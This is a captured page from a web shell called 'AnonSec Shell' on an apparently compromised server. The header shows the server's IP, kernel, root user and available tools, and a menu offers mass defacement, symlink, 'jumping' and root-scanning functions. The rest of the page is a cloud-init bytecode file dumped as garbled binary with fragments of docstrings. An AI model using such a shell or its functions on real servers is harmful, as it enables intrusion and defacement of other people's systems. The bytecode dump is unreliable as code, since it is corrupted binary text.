AnonSec Shell
Server IP : 209.38.156.173  /  Your IP : 216.73.216.122   [ Reverse IP ]
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux lakekumayuhotel 5.15.0-136-generic #147-Ubuntu SMP Sat Mar 15 15:53:30 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.1.2-1ubuntu2.22
Disable Function : NONE
Domains : 2 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/lib/python3/dist-packages/cloudinit/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /usr/lib/python3/dist-packages/cloudinit/__pycache__/atomic_helper.cpython-310.pyc
o

x[h,�@s�ddlZddlZddlZddlZddlZddlmZmZddlm	Z	m
Z
dZe�e
�Ze	�d�dd��Ze	�d�d	d
��Zeddfd
d�Zeddfdd�Zdd�Ze	�d�dd��Zefdd�ZdS)�N)�	b64decode�	b64encode)�performance�utili�zBase64 decodingcCs,t|�}z|�d�WSty|YSw)z�base64 decode data

    :param source: a bytes or str to decode
    :return: base64 as a decoded str if utf-8 encoded, otherwise bytes
    �utf-8)r�decode�UnicodeDecodeError)�source�decoded�r�9/usr/lib/python3/dist-packages/cloudinit/atomic_helper.py�b64ds�r
zBase64 encodingcCs"t|t�s
|�d�}t|��d�S)zdbase64 encode data

    :param source: a bytes or str to decode
    :return: base64 encoded str
    r)�
isinstance�bytes�encoderr)r	rrr�b64es

r�wbFcCsDt�d|����t|||||�Wd�S1swYdS)zCopen filename in mode omode, write content, set permissions to modezWriting N)r�Timed�_write_file)�filename�content�mode�omode�
preserve_moderrr�
write_file*s$�rc	
Cs�|rz
t�|�}t�|j�}Wn	tyYnwd}z:tj�|�}t�|�t	j
|d|d�}t�d||j
||t|��|�|�|��t�|j
|�t�|j
|�WdStym}z|durgt�|j
�|�d}~ww)NF)�dir�deleterzOAtomically writing to file %s (via temporary file %s) - %s: [%o] %d bytes/chars)�os�stat�S_IMODE�st_mode�OSError�path�dirnamer�
ensure_dir�tempfile�NamedTemporaryFile�LOG�debug�name�len�write�close�chmod�rename�	Exception�unlink)	rrrrr�	file_stat�tfr#�errrr3s<
�
�
	��rcCs2zd�t|��WStyd�t|��YSw)z1Handler for types which aren't json serializable.z
ci-b64:{0}z)Warning: redacted unserializable type {0})�formatr�AttributeError�type)�_objrrr�json_serialize_defaultUs
�r8zDumping jsoncCstj|dddtd�S)z%Return data in nicely formatted json.�T)�,z: )�indent�	sort_keys�
separators�default)�json�dumpsr8)�datarrr�
json_dumps]s�rBcCst|t|�dd|d�S)N�
�w)rr)rrB)rrArrrr�
write_jsonis
�rE)r?�loggingrrr%�base64rr�	cloudinitrr�
_DEF_PERMS�	getLogger�__name__r'�timedr
rrrr8rBrErrrr�<module>s*



�

�"


Anon7 - 2022
AnonSec Team